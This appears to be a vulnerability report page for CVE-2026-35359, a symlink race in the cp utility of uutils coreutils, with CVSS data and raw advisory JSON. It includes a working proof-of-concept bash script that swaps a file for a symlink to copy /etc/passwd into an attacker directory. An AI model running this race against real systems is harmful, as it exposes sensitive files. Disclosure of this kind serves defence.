Security Vulnerability Report
中文
CVE-2026-35359 CVSS 4.7 MEDIUM

CVE-2026-35359

Published: 2026-04-22 17:16:39
Last Modified: 2026-04-24 19:02:26

Description

A Time-of-Check to Time-of-Use (TOCTOU) vulnerability in the cp utility of uutils coreutils allows an attacker to bypass no-dereference intent. The utility checks if a source path is a symbolic link using path-based metadata but subsequently opens it without the O_NOFOLLOW flag. An attacker with concurrent write access can swap a regular file for a symbolic link during this window, causing a privileged cp process to copy the contents of arbitrary sensitive files into a destination controlled by the attacker.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:uutils:coreutils:-:*:*:*:*:rust:*:* - VULNERABLE
uutils coreutils (修复CVE-2026-35359前的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # PoC for CVE-2026-35359: TOCTOU vulnerability in uutils coreutils cp # This script demonstrates the race condition by attempting to swap a file with a symlink. SENSITIVE_FILE="/etc/passwd" DEST_DIR="./attacker_controlled_dest" SOURCE_FILE="./source_file" # Setup directories and files mkdir -p "$DEST_DIR" echo "Initial safe content" > "$SOURCE_FILE" # Attacker loop: Continuously swap the file to create the race window ( while true; do # Swap to symlink pointing to sensitive file ln -sf "$SENSITIVE_FILE" "$SOURCE_FILE" # Swap back to regular file to avoid detection (optional) echo "safe content" > "$SOURCE_FILE" done ) & ATTACKER_PID=$! # Victim process: Simulate a privileged cp operation # In a real scenario, this might be a cron job or system script for i in {1..100}; do # The vulnerable cp checks path but opens without O_NOFOLLOW cp "$SOURCE_FILE" "$DEST_DIR/copied_data_$i" # Check if we grabbed the sensitive data if grep -q "root:" "$DEST_DIR/copied_data_$i" 2>/dev/null; then echo "[+] Success! Sensitive data copied to $DEST_DIR/copied_data_$i" break fi done # Cleanup kill $ATTACKER_PID 2>/dev/null rm -f "$SOURCE_FILE"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35359", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:38.537", "lastModified": "2026-04-24T19:02:25.720", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Time-of-Check to Time-of-Use (TOCTOU) vulnerability in the cp utility of uutils coreutils allows an attacker to bypass no-dereference intent. The utility checks if a source path is a symbolic link using path-based metadata but subsequently opens it without the O_NOFOLLOW flag. An attacker with concurrent write access can swap a regular file for a symbolic link during this window, causing a privileged cp process to copy the contents of arbitrary sensitive files into a destination controlled by the attacker."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-59"}, {"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:-:*:*:*:*:rust:*:*", "matchCriteriaId": "4A9AF9E4-E17C-48AD-8051-B49998618839"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/issues/10017", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://github.com/uutils/coreutils/issues/10017", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}